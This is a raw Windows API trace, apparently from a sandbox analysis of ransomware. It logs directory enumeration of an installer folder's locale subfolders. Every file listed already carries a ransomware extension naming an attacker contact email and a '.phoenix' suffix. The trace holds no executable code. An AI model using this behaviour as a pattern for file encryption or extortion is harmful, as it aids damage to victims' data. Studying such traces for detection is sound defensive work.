	[0218.931] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.931] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1
	[0218.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.932] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.932] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b264c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7b264c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d8974f5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.932] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7fea41, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7fea41, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d8bd5ef, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.932] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.932] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.932] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.933] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.933] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1
	[0218.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.935] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.935] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d955fab, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d955fab, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3da14bba, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.935] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9a248a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d9a248a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dafbd06, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.937] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.937] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d019f84, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d019f84, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d067782, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.937] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.938] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.938] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1
	[0218.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.939] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.939] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ae53, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3da3ae53, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3daad4e7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.939] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3daad4e7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3daad4e7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db23237, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.939] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d08efe2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.939] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d08efe2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.940] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.940] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.940] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1
	[0218.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.942] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.942] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dafbd06, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dafbd06, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db74d2d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.942] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db45e95, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3db45e95, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db93d41, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.942] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d444fa2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.942] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d444fa2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.942] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.943] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.943] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1
	[0218.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.944] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.944] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db74d2d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3db74d2d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dbb8628, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.945] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbb8628, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dbb8628, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dc06236, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.945] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08efe2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d08efe2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d4a0c61, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.945] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08efe2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d08efe2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d4a0c61, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.945] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.946] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.946] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1
	[0218.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.947] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.947] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc77068, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dc77068, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dd18be5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.947] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc77068, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dc77068, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dcc4f87, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.947] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.947] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.947] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
